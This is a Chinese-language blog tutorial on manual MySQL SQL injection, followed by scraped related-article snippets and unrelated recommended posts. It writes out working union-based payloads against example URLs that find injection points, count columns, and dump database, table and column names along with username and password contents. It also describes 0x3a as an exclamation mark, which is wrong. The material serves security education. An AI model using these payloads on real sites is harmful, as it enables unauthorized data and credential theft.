写在前面

MYSQL5.0之后的版本,默认在数据库中存放一个information_schema的数据库,其中应该记住里面的三个表SCHEMATA、TABLES、COLUMNS

SCHEMATA表:存储该用户创建的所有数据库的库名,该表中记录数据库名的字段名为:SCHEMA_NAME

TABLES表:存储该用户创建的所有数据库的库名表名,该表中记录数据库库名和表名的宇段名分别为:TABLE SCHEMATABLE_NAME

COLUMNS表:存储该用户创建的所有数据库的库名表名字段名,该表中记录数据库库名、表名和宇段名的字段名为:TABLE SCHEMATABLE NAMECOLUMN NAME

几个函数

  • database():当前网站使用的数据库

  • version():当前MySQL的版本

  • user():当前MySQL的用户

  • concat():将多个字符串连接成一个字符串(语法:concat(str1, str2,...))

  • group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果

几种查询

操作系统信息:

select @@global.version_compile_os from mysql.user

数据库权限:

and ord(mid(user(),1,1))=114  -- 返回正常说明为root

什么是SQL注入

应用程序在向后台数据库传递SQL(结构化查询语句)查询时,如果为攻击者提供了影响该查询的功能,就会引发SQL注入。攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性。

可结合试题案例加以理解:https://ne2ha.top/passages/SQLi-Labs-Practice/

数字型注入

即输入的参数为数字型

  • 测试是否存在注入点

以一条SQL查询语句为例:

select * from users where id = 1

上面是正常的一条语句,但是如果攻击者通过构造:id=1',执行下面的语句:

select * from users where id = 1'

这样的SQL语句是错误的,所以执行SQL查询就会报错,返回异常

接着构造:

select * from users where id = 1 and 1=1

SQL语句正常执行,返回正确

然后:

select * from users where id = 1 and 1=2

语句正常执行,但1=2为恒假条件,无法查询出结果,返回异常

满足上面的3点,大概就可以判断存在数字型注入


  • 判断字段数
select * from users where id = 1 order by <数字> -- 后面直接加数字,多个字段排序

比如URL:http://example.com/?id=1 存在数字型输入

构造一:http://example.com/?id=1 order by 9--+ 返回错误

构造二:http://example.com/?id=1 order by 8--+ 返回正确

所以可以得到字段数为8

  • 查找可显示的字段
http://example.com/?id=1 and 1=2 union select 1,2,3,4,5,6,7,8--+
  • 收集信息(假设第6个可以显示数据)
and 1=2 union select 1,2,3,4,5,concat(user(),0x3a,database(),0x3a,version()),7,8-–+

查询当前使用的用户以及数据库名字和版本

  • 查询所有数据库名
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+schema_name)),7,8 from information_schema.schemata--+
  • 爆表
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+table_name)),7,8 from information_schema.tables where table_schema=0x<数据库名的十六进制>--+
  • 爆字段
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+column_name)),7,8 from information_schema.columns where table_name=0x<字段的十六进制>--+
  • 爆字段内容
and 1 =2 union select 1,2,3,4,5,concat(id,0x3a,username,0x3a,password),7,8 from <表名> limit 0,1–-+

说明:idusernamepassword均假设是上述获取到的字段名,0x3a表示感叹号,具体按实际情况来

字符型注入

即输入的参数为字符型,于数字型的区别在于字符型的参数需要单引号闭合

select * from users where username = 'admin'
  • 测试是否存在注入点

加单引号,执行语句

select * from users where username = 'admin''

语句无法执行,返回异常

加上'and 1=1,执行语句

select * from users where username = 'admin' and 1=1'

语句同样是错误的,注释掉后面的单引号

select * from users where username = 'admin' and 1=1-- '

返回结果正常

接着构造:

select * from users where username = 'admin' and 1=2-- '

返回异常

满足上面3点,大概可以判断存在字符型注入

参考

《SQL注入攻击防御》(第二版)

《Web安全攻防:渗透测试实战指南》

https://www.lstazl.com/mysql数字型手工注入/

https://www.cnblogs.com/aq-ry/p/9368619.html

SQL注入的简单认识的更多相关文章

  1. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  2. 防止sql注入(简单)

    (1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count ...

  3. php 防止sql注入的简单方法

    您可以使用PHP的功能,如函数stripslashes()和addslashes(),mysql_real_escape_string()等,使安全的SQL查询. 以下是安全的SQL语句,使用PHP ...

  4. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  5. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  6. 转!! PreparedStatement是如何防止SQL注入的

    SQL注入最简单也是最常见的例子就是用户登陆这一模块,如果用户对SQL有一定的了解,同时系统并没有做防止SQL注入处理,用户可以在输入的时候加上'两个冒号作为特殊字符,这样的话会让计算机认为他输入的是 ...

  7. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  8. 仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell

    最近没事登登好几年前玩过的游戏看看,发现有人喊高价收号,这一看就是骗子,这等骗子还想骗我?我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是 5173平台交易的网站,叫我直接把号的信息填上去然后填 ...

  9. SQL注入攻击和防御

    部分整理...   什么是SQL注入? 简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品 这个值用户是可以输入的,比如,100 但是对于用户,如果输入,100' OR '1'=' ...

随机推荐

  1. Vue访问子组件实例或子元素

    1 尽管存在 prop 和事件,有的时候你仍可能需要在 JavaScript 里直接访问一个子组件(例如,调用子组件的方法).为了达到这个目的,你可以通过 ref 特性为这个子组件赋予一个 ID 引用 ...

  2. (appium+python)UI自动化_10_adb常用命令

    前言 adb(Android Debug Bridge)工具是android-sdk里的一个工具,是一个命令行窗口,用于通过电脑端与模拟器或者真实设备交互.在app自动化测试过程中,有时要用到adb命 ...

  3. spring-第十九篇AOP面向切面编程之增强处理的优先级

    1.从我们第十七篇举例了不同类型的增强处理. spring AOP采用和AspectJ一样的优先顺序来织入增强处理:在“进入”连接点时,具有最高优先级的增强处理将先被织入(在给定的两个Before增强 ...

  4. Struts2+Ajax实现数据交互

    1.导入jar包 struts核心包: json需要的包: 2.配置web.xml <filter> <filter-name>struts2</filter-name& ...

  5. How Many Answers Are Wrong (HDU - 3038)(带权并查集)

    题目链接 并查集是用来对集合合并查询的一种数据结构,或者判断是不是一个集合,本题是给你一系列区间和,判断给出的区间中有几个是不合法的. 思考: 1.如何建立区间之间的联系 2.如何发现悖论 首先是如何 ...

  6. [转]ORACLE优化器RBO与CBO的区别

    RBO和CBO的基本概念 Oracle数据库中的优化器又叫查询优化器(Query Optimizer).它是SQL分析和执行的优化工具,它负责生成.制定SQL的执行计划.Oracle的优化器有两种,基 ...

  7. antd desgin vue 报错 Warning: Each record in table should have a unique `key` prop,or set `rowKey` to an unique primary key.

    警告:表的数据源中的每条记录都应该有一个唯一的“key”道具,或者将表的“rowKey”设置为一个唯一的主键, 只需要添加 :rowKey="record => record.id&q ...

  8. ES5继承模式

    果然,感觉有些东西不整理一下还是很容易忘记的,很多时候有需要不断地去复习,感觉JavaScript这门语言总体上不能算是特别难,但是知识点特别杂(坑也特别多...),感觉最好还是能够梳理出一个整体架构 ...

  9. javaScript--基础 选择结构

    2.短路现象--扩展 当 true 遇到 ||  ,  true || 表达式不执行,  右侧的表达式不执行 当false 遇到 && ,  false && 表达式不 ...

  10. spring boot 不连接数据库启动

    Consider the following:    If you want an embedded database (H2, HSQL or Derby), please put it on th ...